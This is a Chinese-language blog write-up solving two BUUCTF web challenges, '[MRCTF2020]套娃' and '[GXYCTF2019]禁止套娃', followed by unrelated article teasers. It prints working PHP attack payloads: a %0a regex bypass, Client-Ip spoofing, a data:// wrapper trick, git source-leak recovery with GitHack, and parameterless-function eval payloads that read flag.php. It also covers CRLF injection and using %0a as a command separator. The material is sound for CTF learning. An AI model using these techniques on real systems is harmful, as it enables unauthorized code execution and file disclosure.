news 2026/5/27 18:26:52

【buuctf】套娃

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
【buuctf】套娃

#学习笔记和解题过程复现

目录

题目一:[MRCTF2020]套娃

题目二:[GXYCTF2019]禁止套娃

题目一:[MRCTF2020]套娃

查看源代码,发现特殊代码:

<!-- //1st $query = $_SERVER['QUERY_STRING']; if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){ die('Y0u are So cutE!'); } if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){ echo "you are going to the next ~"; } !-->

代码审计:

  1. 获取当前 URL 中问号?后面的查询字符串(query string),$query中含有_或%5f,则输出'You are So cutE!'。

  2. 第二个if语句2个条件判断相矛盾,不能同时满足

$_GET['b_u_p_t'] !== "23333"

preg_match('/^23333$/', $_GET['b_u_p_t'])返回真。要求它以 23333 开头并结束。

绕过第一层验证 用%0a(换行符)绕过正则,用空格代替_绕过黑名单:

http://307dfa03-d873-48ee-b3f3-acd95ee05e84.node5.buuoj.cn:81/?b u p t=23333%0a

补充知识点(%0a绕过常用场景):

%0a(URL编码中的换行符)

1.HTTP响应头拆分攻击(HTTP RESPONSE SPLITTING)

当用户输入被未经净化地插入到HTTP响应头(如Location或Set-Cookie)时,攻击者可以注入CRLF(\r\n,%0d%0a)序列来提前结束当前响应头,并添加任意响应体与新的响应头。

2.命令注入(COMMAND INJECTION)的绕过

当应用使用黑名单过滤命令分隔符(如 ;, &, |)时,%0a 常被用作替代分隔符。

3.日志注入(LOG INJECTION)与数据污染

如果应用将用户输入直接写入日志文件,且后续有日志分析系统(如使用 grep, awk 按行分析),注入 %0a 可以伪造日志条目,干扰审计、触发分析脚本的异常行为,甚至可能因日志解析器的漏洞导致代码执行。

得到信息:FLAG is in secrettw.php。毋庸置疑,先尝试访问secrettw.php

在源代码中发现了jsfuck编码,复制到控制台中,看下结果:

显示POST me Merak。接着我们进行POST传值(值随意)

发现提示“Flag is here”以及flag.php存在,进行代码审计:

Flag is here~But how to get it? <?php error_reporting(0); include 'takeip.php'; ini_set('open_basedir','.'); include 'flag.php'; if(isset($_POST['Merak'])){ highlight_file(__FILE__); die(); } function change($v){ $v = base64_decode($v); $re = ''; for($i=0;$i<strlen($v);$i++){ $re .= chr ( ord ($v[$i]) + $i*2 ); } return $re; } echo 'Local access only!'."<br/>"; $ip = getIp(); if($ip!='127.0.0.1') echo "Sorry,you don't have permission! Your ip is :".$ip; if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){ echo "Your REQUEST is:".change($_GET['file']); echo file_get_contents(change($_GET['file'])); } ?>

代码有两个核心判断:

1.关键限制与突破口(IP伪造+文件读取绕过

if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' )

限制1:ip必须是127.0.0.1(可在HTTP请求头中伪造X-Forwarded-For、Client-Ip等骗过ip校验)

限制2:file_get_contents($_GET['2333'])必须返回“todat is a happy day”

突破口:不能直接传文件名(本地不存在),可利用php的伪协议来直接返回内容,而不是读取真实文件。

  • data://text/plain;base64,dG9kYXQgaXMgYSBoYXBweSBkYXk=(将字符串进行base64编码)
  • php://input(POST数据会被作为内容返回)
  • data://text/plain,todat is a happy day(直接在URL中包含文本)

2.change()函数逆向

当上述两个限制满足就会执行两个echo语句:

function change($v){ $v = base64_decode($v); $re = ''; for($i=0;$i<strlen($v);$i++){ $re .= chr ( ord ($v[$i]) + $i*2 ); } return $re; } echo "Your REQUEST is:".change($_GET['file']); echo file_get_contents(change($_GET['file'])); }

change()函数是一个简单的编码函数,我们需要根据上述源代码(function change($v)函数)逆向来构造file参数,让输出结果为flag.php的内容。以下是构造file参数读取flag.php。

<?php $target=file_get_content('flag.php'); $string=''; for($i=0;$i<strlen($target);$i++){ $string .= chr(ord($target[$i]) - $i*2); } $payload=base64_encode($string); echo $payload; ?> 输出结果是:ZmpdYSZmXGI=

将生成的$payload作为file参数的值。经尝试,直接在URL中包含文本,最终的payload是:

?2333=data://text/plain,todat is a happy day &file=ZmpdYSZmXGI=

http://307dfa03-d873-48ee-b3f3-acd95ee05e84.node5.buuoj.cn:81/secrettw.php?2333=data://text/plain,todat is a happy day &file=ZmpdYSZmXGI=

使用BP进行抓包,同时在请求头中带上Client-Ip:127.0.0.1,得到的响应中携带了flag值。

题目二:[GXYCTF2019]禁止套娃

只有简单的一句话,并且查看源代码没有特殊发现,用dirsearch目录扫描发现大量的git相关文件,并有git文件指向题目的URL,想可能存在一定关联。(其思路有参考其他资料)

dirsearch -u https://target.com -e git #扫描发现git目录

猜测是git源码泄露:Git 源码泄露是指网站开发者在部署代码时,错误地将项目根目录下的.git文件夹(Git 版本控制系统的核心目录)一起上传到了 Web 服务器,导致攻击者可以通过 HTTP/HTTPS 访问并下载整个代码仓库。

工具介绍:GitHack是一个.git泄露利用测试脚本,通过泄露的文件,还原重建工程源代码。

  • 用国内镜像克隆:git clone https://gitee.com/mirrors/GitHack.git
  • 工具下载:http://github.com/lijiejie/GitHack

然后在kali工具GitHack目录下找到index.php文件,并读取其代码:

index.php文件(3层过滤):

<?php include "flag.php"; echo "flag在哪里呢?<br>"; if(isset($_GET['exp'])){ //第一层:过滤伪协议 if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) { //第二层:检查是否为纯函数调用 if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) { //第三层:过滤敏感函数名关键词 if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) { // echo $_GET['exp']; @eval($_GET['exp']); //执行payload } else{ die("还差一点哦!"); } } else{ die("再好好想想!"); } } else{ die("还想读flag,臭弟弟!"); } } // highlight_file(__FILE__); ?>

代码审计:

这是一个典型的无参数函数调用(RCE),通过构造特殊的payload绕过层层过滤,最终执行任意代码读取flag。

1.禁止使用:data://, filter://, php://, phar://

2.匹配所有无参数函数调用,如 a(), a(b()), a(b(c()))

3.构造payload

无参数函数RCE相关介绍

可参考禁止套娃题--详解

方法一:

?exp=print_r(scandir(pos(localeconv())));

这是一个无参数函数调用链,用于获取当前目录的文件列表。

1.localeconv():返回当前本地化环境的数字格式化信息;返回值是一个关联数组,包含本地化配置;数组的第一个元素总是 .(小数点)。

2.pos(localeconv()):pos()是current()函数的别名,返回数组当前指针指向的元素;结果返回'.'(一个点字符)。

3.scandir(pos(localeconv())):执行scandir('.')扫描当前目录;返回当前目录下的所有文件和文件夹的数组。

4.print_r(...):以人类可读的方式打印数组内容;直接输出到页面。

再返回的数组中,flag.php是数组的第4个,索引为3,但由于不能直接写数字参数,需要间接获取。

使用 array_reverse() +next():array_reverse(next(scandir('.')))

array_reverse():反转数组,使flag.php的索引变为1,

next(): 不仅使指针移动到下一位,还返回移动后的值

方法二:

因为php不会自动开启session,所以用session_id(session_start())来开启。输入下面👇的payload进行抓包。

?exp=show_source(session_id(session_start()));

添加Cookie:PHPSESSID=flag.php

PHPSESSID 是 PHP 用于识别用户会话(Session)的唯一标识符,本质上是一个存储于客户端的 Cookie,其值是一个随机生成的字符串,作为"身份牌"让服务器能将后续请求与特定的会话数据关联起来。

添加完Cookie之后,放行Forward之后,页面出现flag。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/27 18:26:52

SEO优化规划与内容营销有什么关联

SEO优化规划与内容营销的内在联系 在当今数字化时代&#xff0c;网站的流量和用户参与度直接关系到企业的市场竞争力。因此&#xff0c;如何有效地提升网站的搜索引擎排名&#xff08;SEO&#xff09;和吸引目标用户的关注成为了企业运营中的重要课题。在这个背景下&#xff0…

作者头像 李华
网站建设 2026/5/23 1:53:01

轻量级CI/CD:OpenClaw+百川2-13B-4bits量化模型实现自动化代码审查

轻量级CI/CD&#xff1a;OpenClaw百川2-13B-4bits量化模型实现自动化代码审查 1. 为什么需要轻量级代码审查方案 作为独立开发者&#xff0c;我长期面临一个困境&#xff1a;每次提交代码后&#xff0c;要么依赖人工复查的低效率&#xff0c;要么需要搭建复杂的CI/CD系统。传…

作者头像 李华
网站建设 2026/5/23 1:53:04

代码分享】“基因集单通路的泛癌GSEA富集分析

【代码分享]基因集单通路的泛癌GSEA富集分析#资料 如图最近在整理TCGA多组学数据时&#xff0c;发现不少小伙伴对通路活性评估有需求。今天分享一个快速实现泛癌GSEA分析的方法&#xff0c;特别适合需要观察某个特定通路在多个癌症类型中激活状态的情况。这个方法不需要复杂的编…

作者头像 李华
网站建设 2026/5/23 1:53:17

OpenClaw多模型切换:Qwen3.5-9B与本地LLM混合调用

OpenClaw多模型切换&#xff1a;Qwen3.5-9B与本地LLM混合调用 1. 为什么需要多模型混合调用 去年我在尝试用OpenClaw自动化处理日常工作报告时&#xff0c;发现一个尴尬的现象&#xff1a;简单的文件整理任务会不必要地消耗Qwen3.5-9B的高额token&#xff0c;而遇到需要深度分…

作者头像 李华